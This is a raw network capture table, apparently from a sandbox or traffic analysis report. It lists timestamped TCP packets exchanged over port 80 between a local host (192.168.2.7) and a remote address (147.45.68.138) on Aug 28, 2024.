Aug 28, 2024 22:55:57.298422098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298428059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298433065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298439026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298443079 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298455000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298485994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298495054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298511982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298521996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298530102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298532963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298543930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298554897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298557043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298567057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298578024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298587084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298588037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298600912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298602104 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298610926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298624039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298635006 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298640013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298650980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298660040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298660040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298671007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298676014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298682928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298703909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298727989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298830986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298842907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298875093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298880100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298886061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298894882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298912048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298933029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298950911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298962116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298970938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298984051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.298993111 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.298998117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299009085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299009085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.299019098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299027920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299034119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.299036026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299046993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299068928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.299086094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.299190998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299200058 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299212933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299221992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299231052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.299232006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299242020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299247980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.299257040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.299273014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.299298048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.376965046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377002954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377012968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377022982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377029896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377038956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377048969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377058983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377063990 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377068996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377078056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377084970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377089024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377108097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377125978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377146006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377183914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377198935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377212048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377221107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377232075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377233028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377243042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377258062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377284050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377291918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377302885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377332926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377346039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377367020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377378941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377454996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377465963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377475023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377485037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377489090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377495050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377506018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377510071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377533913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377607107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377618074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377628088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377639055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377643108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377650023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377659082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377669096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377680063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377691984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377693892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377701044 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377710104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377724886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.377749920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377749920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.377815962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378011942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378081083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378098011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378107071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378118038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378125906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378143072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378160000 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378164053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378173113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378177881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378186941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378199100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378204107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378211021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378226042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378278971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378284931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378288031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378288031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378297091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378325939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378348112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378364086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378372908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378386974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378396988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378407955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378417015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378424883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378460884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378495932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378504992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378515005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378520012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378528118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378530025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378535032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378559113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378571033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378580093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378588915 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378599882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378611088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.378633976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378633976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378633976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378633976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.378648996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.383790970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383810043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383820057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383846045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.383865118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.383924007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383934021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383944035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383954048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383956909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.383965015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383977890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.383985996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384013891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384030104 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384042025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384052992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384072065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384090900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384092093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384097099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384100914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384119034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384124994 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384131908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384140968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384151936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384175062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384288073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384299040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384310007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384321928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384324074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384329081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384340048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384350061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384360075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384376049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384385109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384386063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384397984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384407997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384408951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384418011 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384428024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384435892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384438992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384458065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384473085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384529114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384538889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384548903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384558916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384567022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384569883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384579897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384587049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384589911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384601116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384612083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384617090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384623051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384637117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384645939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384654999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384656906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384680033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384701967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384716034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384726048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384735107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384744883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.384753942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384773016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.384793997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465112925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465183020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465241909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465255022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465284109 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465296984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465392113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465403080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465414047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465466022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465466022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465534925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465545893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465563059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465575933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465584993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465585947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465596914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465609074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465609074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465621948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465626955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465631962 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465637922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465641975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465677023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465698004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465704918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465723991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465749979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465821028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465832949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465843916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465854883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465866089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465876102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465887070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465898991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465918064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465918064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465944052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465944052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.465986013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.465996981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466007948 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466020107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466027975 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466046095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466097116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466164112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466181993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466187000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466192007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466264963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466264963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466286898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466299057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466310978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466330051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466348886 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466746092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466758013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466768026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466779947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466789007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466804028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466841936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466867924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466885090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466891050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.466903925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.466988087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467015028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467025995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467037916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467061043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467072964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467155933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467164993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467175961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467192888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467197895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:57.467205048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467216015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:57.467219114 CEST	49731	80	192.168.2.7	147.45.68.138
